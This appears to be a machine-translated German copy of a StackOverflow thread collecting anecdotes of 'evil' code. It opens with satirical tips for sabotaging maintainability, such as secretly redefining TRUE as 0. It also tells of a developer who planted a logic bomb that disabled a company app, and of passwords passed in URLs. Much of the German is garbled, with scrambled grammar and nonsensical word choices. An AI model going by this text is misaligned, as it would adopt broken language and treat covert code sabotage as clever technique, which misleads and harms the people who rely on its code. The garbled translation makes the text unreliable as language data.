Wenn wir volles Vertrauen in unsere Programmierfähigkeiten haben, sind Tests überflüssig.Wenn wir das logisch betrachten, kann jeder Dummkopf erkennen, dass es beim Testen nicht einmal darum geht, ein technisches Problem zu lösen, sondern dass es sich dabei vielmehr um ein Problem des emotionalen Vertrauens handelt.Eine effizientere Lösung für dieses Problem des mangelnden Selbstvertrauens besteht darin, Tests vollständig zu eliminieren und unsere Programmierer zu Selbstwertgefühlskursen zu schicken.Wenn wir uns für das Testen entscheiden, müssen wir schließlich jede Programmänderung testen, aber wir müssen die Programmierer nur zu einem Kurs zum Aufbau von Selbstwertgefühl schicken.Der Kostenvorteil ist ebenso erstaunlich wie offensichtlich.

Kehren Sie die übliche Richtig-Falsch-Konvention um

Kehren Sie die üblichen Definitionen von wahr und falsch um.Klingt sehr offensichtlich, funktioniert aber großartig.Sie können Folgendes ausblenden:

#define TRUE 0 
#define FALSE 1

Irgendwo tief im Code, so dass er aus den Eingeweiden des Programms aus einer Datei herausgeholt wird, die sich niemand mehr ansieht.Erzwingen Sie dann, dass das Programm Vergleiche durchführt wie:

if ( var == TRUE )
if ( var != FALSE )

Jemand ist verpflichtet, die scheinbare Redundanz zu „korrigieren“ und var anderswo auf die übliche Weise zu verwenden:

if ( var )

Eine andere Technik besteht darin, TRUE und FALSE den gleichen Wert zu geben, obwohl die meisten dies als reines Schummeln betrachten würden.Die Verwendung der Werte 1 und 2 oder -1 und 0 ist eine subtilere Möglichkeit, Menschen zum Stolpern zu bringen und trotzdem ansehnlich auszusehen.Sie können dieselbe Technik in Java verwenden, indem Sie eine statische Konstante namens TRUE definieren.Programmierer könnten eher misstrauisch sein, dass Sie nichts Gutes im Schilde führen, da es in Java ein integriertes Literal „true“ gibt.

Schizophrenie ausnutzen

Java ist schizophren, wenn es um Array-Deklarationen geht.Sie können sie auf die alte C-Methode String x[] (die eine gemischte Prä-Postfix-Notation verwendet) oder auf die neue Methode String[] x verwenden, die eine reine Präfix-Notation verwendet.Wenn Sie die Leute wirklich verwirren möchten, mischen Sie die Notationen, z. B.

byte[ ] rowvector, colvector , matrix[ ];

was äquivalent ist zu:

byte[ ] rowvector; 
byte[ ] colvector; 
byte[ ][] matrix;

Ich weiß nicht, ob ich den Code „bösen“ nennen würde, aber wir hatten einen Entwickler, die Object[] Arrays statt zu schreiben Klassen schaffen würde. Überall.

Ich habe gesehen (und gebucht thedailywtf) Code, der jeder geben werden Administratorrechte zu einem wesentlichen Teil einer Anwendung dienstags zu haben. Ich denke, der ursprüngliche Entwickler vergessen, den Code nach lokaler Maschine Prüfung zu entfernen.

Ich weiß nicht, ob dieses „böse“ ist so viel wie fehlgeleitet (ich habe es vor kurzem auf The Old New Thing):

wusste, dass ich ein Mann, der liebte Informationen als getrennte Zeichenfolgen zu speichern. Er war mit dem Konzept von Arrays, wie gezeigt, wenn er Anordnungen von begrenzten Zeichenfolgen verwendet, aber die Glühbirne leuchtet nicht auf.

Basis 36 Codierung speichern Ints in Strings.

Ich denke, die Theorie etwas entlang der Linien von geht:

  • Hexadezimal wird verwendet zur Darstellung von Zahlen
  • Hexadezimal doesnt Verwendung Buchstaben über F, G-Z bedeutet verschwendet
  • Abfall ist schlecht

In diesem Moment ich mit einer Datenbank arbeite, die die Tage der Woche speichern, dass ein Ereignis auf als 7-Bit-Bit-Feld passieren kann (0-127), in der Datenbank als String 2-Zeichen gespeichert im Bereich von '0' bis '3J'.

Ich erinnere mich, dass ein Login-Handler, der eine Post-Anforderung nahm und zu einem GET mit dem Benutzernamen und Passwort als Parameter übergeben in umgeleitet. Dies war für ein "Enterprise-Klasse" medizinisches System.

Ich bemerkte dies, während einige Protokolle Kontrolle - ich war sehr versucht, den CEO, sein Passwort zu senden

.

Wirklich böse war dieses Stück brillant delphi Code:

type
  TMyClass = class
  private
    FField : Integer;
  public
    procedure DoSomething;
  end;

var
  myclass : TMyClass;


procedure TMyClass.DoSomething;
begin
  myclass.FField := xxx; // 
end;

Es funktionierte großartig, wenn es nur eine Instanz einer Klasse ist. Aber leider hatte ich eine andere Instanz zu verwenden, und dass erstellt zahlreiche interessanten Bugs.

Als ich dieses Juwel gefunden, ich kann mich nicht erinnern, ob ich in Ohnmacht gefallen oder schrie, wahrscheinlich beides.

Vielleicht nicht böse, aber sicherlich nicht, äh ... verfehlt.

Ich hatte einmal einen „Parser für natürliche Sprache“ neu zu schreiben, die als einzelne 5,000 Zeile durchgeführt wurden, wenn ... dann-Anweisung.

wie in ...

if (text == "hello" || text == "hi")
    response = "hello";
else if (text == "goodbye")
    response = "bye";
else
    ...

Ich sah Code in einer Website ASP.NET MVC von einem Mann, der nur vor Webformulare getan hatte (und ist eine ausgewiesene Kopie / Paster!), Die ein Client-Seite Click-Ereignis auf einem <a> Tag steckte, die eine Javascript-Methode aufgerufen, hat einen document.location.

Ich versuchte zu erklären, dass ein href auf dem <a> Tag das gleiche tun würde !!!

Ein wenig böse ... jemand, den ich kenne in den Hauptfirmeninterne Web-App geschrieben, eine tägliche Kontrolle, um zu sehen, ob er in das System in den letzten 10 Tagen angemeldet hat. Wenn es von ihm keine Aufzeichnungen angemeldet, deaktiviert es die App für alle im Unternehmen.

Er schrieb das Stück, wenn er Gerüchte über Entlassungen gehört, und wenn er nach unten geht, würde das Unternehmen zu leiden hat.

Der einzige Grund, warum ich davon wusste, ist, dass er einen 2-wöchigen Urlaub nahm und ich rief ihn an, wenn die Website geschissen aus. Er sagte mir, mit seinem Benutzername / Passwort anmelden ... und alles war wieder in Ordnung.

Von course..months später bekamen wir alle entlassen.

Mein Kollege mag, dass ASP.NET-Anwendung zu erinnern, die eine public static Datenbankverbindung für alle Datenbankoperationen verwendet wird.

Ja, eine Verbindung für alle Anfragen. Und nein, es gab keine Verriegelung entweder getan.

Ich erinnere mich an Setup mit IIS 3 Perl-CGI-Skripte (ja, das war eine looong Zeit her) zu laufen. Die offizielle Empfehlung zu dieser Zeit war Perl.exe in cgi-bin zu setzen. Es funktionierte, aber es gab auch alle Zugriff auf ein ziemlich leistungsfähiges Scripting-Engine!

Alle RFC 3514 -konforme Programm, das die böser Bit .

SQL-Abfragen direkt dort in Javascript in einer ASP-Anwendung. Kann nicht dreckiger ...

erhalten

Wir hatten eine Anwendung, die alle seine globalen Zustand in einer XML-Datei geladen. Kein Problem damit, mit der Ausnahme, dass der Entwickler eine neue Form der Rekursion geschaffen hatte.

<settings>
  <property>
      <name>...</name>
      <value>...</value>
      <property>
          <name>...</name>
          <value>...</value>
          <property>
              <name>...</name>
              <value>...</value>
              <property>
                   <name>...</name>
                   <value>...</value>
                   <property>
                        <name>...</name>
                        <value>...</value>
                       <property>
                             <name>...</name>
                             <value>...</value>
                            <property>

Dann kommt der spaßige Teil. Wenn die Anwendung geladen wird, läuft es durch die Liste der Eigenschaften und fügt sie zu einer globalen (flach) Liste, zusammen mit einem Geheimnis Zähler erhöht wird. Das Geheimnis Zähler wird etwas völlig irrelevant genannt und ist in Geheimnis Berechnungen verwendet:

List properties = new List();
Node<-root
while node.hasNode("property")
    add to properties list
    my_global_variable++;
    if hasNode("property")
         node=getNode("property"), ... etc etc

Und dann erhalten Sie Funktionen wie

calculateSumOfCombinations(int x, int y){
   return x+y+my_global_variable;
}

edit: Klarstellung - dauerte eine lange Zeit, um herauszufinden, dass er die Tiefe der Rekursion rechnet, weil auf Stufe 6 oder 7 die Eigenschaften Bedeutung geändert, so wurde er mit dem Zähler seine Wohnung Satzes in 2 Sätze aufteilen von verschiedenen Arten, die Art wie mit einer Liste von STATE, STATE, Region, Stadt, Stadt, Stadt und prüfen, ob der Index> Zähler, um zu sehen, ob Ihr Name eine Stadt oder Staat)

Statt einen Windows-Dienst für einen Server-Prozess des Schreibens, die ständig einem unserer „Architekten“ laufen benötigt hat eine Konsolenanwendung und verwendet, um den Task-Scheduler es alle 60 Sekunden ausgeführt werden.

Beachten Sie in .NET dieser ist, wo Dienste sind sehr einfach zu erstellen.

-

Auch an der gleichen Stelle eine Konsolenanwendung verwendet wurde, einen .NET-Remoting-Dienst zu hosten, so hatten sie die Konsolenanwendung zu starten und eine Sitzung sperren zu halten, jedes Mal, wenn der Server neu gestartet wurde ausgeführt wird.

-

Am letzten Platz war ich einer der Architekten hatte eine einzige C # Quellcodedatei mit über 100 Klassen, die so etwas wie 250K in der Größe waren.

32 Quellcodedateien mit mehr als 10K Codezeilen jedem. Jede enthielt eine Klasse. Jede Klasse enthält eine Methode, die „alles“

tat

Das war echter Alptraum für debuging diesen Code, bevor ich das Refactoring hatte.

Zu einem frühen Arbeitsplatz, erbten wir ein Vermächtnis-Projekt, das teilweise früher outsorced worden war. Der Haupt-App war Java war der ausgelagerten Teil eine native C-Bibliothek. Einmal hatte ich einen Blick auf den C-Quelldateien. Ich aufgelistet den Inhalt des Verzeichnisses. Es gab mehrere Quelldateien über 200K in der Größe. Die größte C-Datei war 600 Kbyte .

Gott sei Dank hatte ich eigentlich nie, sie zu berühren: -)

Ich habe eine Reihe von Programmen gegeben vorzuschieben, während Kollegen bei einem Kunden im Ausland waren (Installieren der Programme). Ein Schlüssel Bibliothek kam in jedem Programm auf, und versuchen Sie den Code, um herauszufinden, wird mir klar, dass es winzige Unterschiede von einem Programm zum nächsten. In einer gemeinsamen Bibliothek.

Diese Erkenntnis, lief ich einen Textvergleich aller Kopien. Von 16, ich glaube, es etwa 9 Einzigen waren. Ich warf ein bisschen einen Sitz.

Der Chef interveniert und hatten die Kollegen eine Version vergleichen, die scheinbar universell war. Sie schickten den Code per E-Mail. Unbekannt ich gab es Strings mit nicht druckbaren Zeichen in dort, und einigen gemischten Kodierungen. Die E-Mail verstümmelt es ziemlich schlecht.

Die nicht druckbare Zeichen wurden verwendet, um Daten zu senden (alle Saiten!) Von einem Server auf einen Client. Alle Saiten wurden somit durch die 0x03 Zeichen auf den serverseitigen getrennt und wieder zusammengesetzt clientseitige in C #, um die Split-Funktion.

Die somwehat vernünftige Art und Weise zu tun gewesen wäre:

someVariable.Split(Convert.ToChar(0x03);

Die vernünftigere und freundliche Art und Weise eine Konstante zu verwenden gewesen wäre:

private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);

Die böse Art und Weise war, was meine Kollegen gewählt: Verwenden Sie, was „prints“ für 0x03 in Visual Studio und setzte, dass zwischen Anführungszeichen:

someVariable.Split('/*unprintable character*/');

Ferner ist in dieser Bibliothek (und alle damit verbundenen Programme), nicht eine einzige Variable war lokale (I geprüft!). Funktionen wurden entwickelt, um die gleichen Variablen entweder zu erholen, sobald es gilt als sicher, sie zu verschwenden, oder neue zu schaffen, die für die ganze Dauer des Prozesses weiterleben würde. Ich ausgedruckt mehrere Seiten und farblich codiert sie. Gelb „global, nie von einer anderen Funktion geändert“ gemeint, meinte Red „global, geändert durch mehr“. Grün würde „local“ gewesen, aber es gab keine.

Oh, habe ich erwähnt, Steuer Version? Denn natürlich gibt es keine.

ADD ON:. Ich erinnere mich nur eine Funktion, die ich entdecken, vor nicht langer Zeit

war Ihr Ziel durch eine Reihe von Anordnungen von intergers zu gehen, und stellen Sie jeden ersten und letzten Punkt auf 0. Es ging so (nicht unbedingt den Code, aus dem Speicher, und C # -esque):

FixAllArrays()
{
    for (int idx = 0; idx < arrays.count- 1; idx++)
    {
        currArray = arrays[idx];
        nextArray = arrays[idx+1];
        SetFirstToZero(currArray);
        SetLastToZero(nextArray);

        //This is where the fun starts
        if (idx == 0)
        {
            SetLastToZero(currArray);
        }

        if (idx == arrays.count- 1)
        {
            SetFirstToZero(nextArray);
        }
    }
}

Natürlich war der Punkt, dass jedes Sub-Array dieses erhalten getan hatte, beide Operationen, auf alle Artikel. Ich bin nur nicht sicher, wie ein Programmierer auf so etwas wie dies entscheiden kann.

Ähnlich wie jemand anderes erwähnt oben:

Ich arbeitete in einem Ort, der eine pseudo-Skriptsprache in der Anwendung hatte. Es zugeführt in eine massive Methode, die etwa 30 Parameter und eine riesige Select Case Erklärung abzugeben.

Es war Zeit, um weitere Parameter hinzuzufügen, aber der Typ auf dem Team, das es zu tun hatte erkannt, dass es schon zu viele.

Seine Lösung?

Er fügte hinzu, einen einzigen object Parameter am Ende, so dass er in irgendetwas passieren könnte er wollte, und wirft es dann.

ich nicht aus diesem Ort schnell genug bekommen konnte.

Sobald nach unserer Kundenteams einige seltsame Probleme berichtet, bemerkten wir, dass zwei verschiedene Versionen der Anwendung auf die gleiche Datenbank zeigte. (Während des neue System zu ihnen bereitstellen, ihre Datenbank wurde aktualisiert, aber jeder vergaß ihr altes System zu Fall bringen)

Das war ein Wunder entkommen ..

Und seither haben wir ein automatisiertes Build-Prozess und bereitstellen, zum Glück: -)

Ich denke, es war ein Programm, das eine Schleife in die Universalregister einer pdp-10 geladen und ausgeführt werden dann den Code in diesen Registern.

Sie könnten, dass auf einem PDP-10 tun. Das bedeutet nicht, dass Sie sollten.

EDIT:. Zumindest ist dies das Beste aus meiner (manchmal recht schäbig) Erinnerung

Ich hatte das tiefe Unglück in der Suche nach einem eher verrückt Verhalten in einer Semi-Custom-Datenbank Hochverfügbarkeitslösung beteiligt werden.

Die Bohrkronen waren unauffällig. Red Hat Enterprise Linux, MySQL, DRBD und Linux-HA Sachen. Die Konfiguration wurde jedoch durch eine völlig individuelle puppenartige System gepflegt (wenig überraschend, es gibt viele andere Beispiele des Wahnsinns aus diesem System führt).

Es stellt sich heraus, dass das System die install.log Datei wurde überprüft, den Kickstart für einen Teil der Informationen im Stammverzeichnis läßt es erforderlich, um die DRBD-Konfiguration zu erstellen. Das ist an sich böse, natürlich. Sie ziehen nicht Konfiguration aus einer Protokolldatei, deren Format nicht wirklich definiert. Es wird noch schlimmer, wenn.

Es hat nicht speichert diese Daten irgendwo anders, und jedes Mal, es lief, die alle 60 Sekunden war es konsultiert install.log.

Ich werde einfach lassen Sie erraten, was das erste Mal, wenn jemand zufällig entschieden, diese sonst nutzlose Protokolldatei zu löschen.

Lizenziert unter: CC-BY-SA mit Zuschreibung
Nicht verbunden mit StackOverflow
scroll top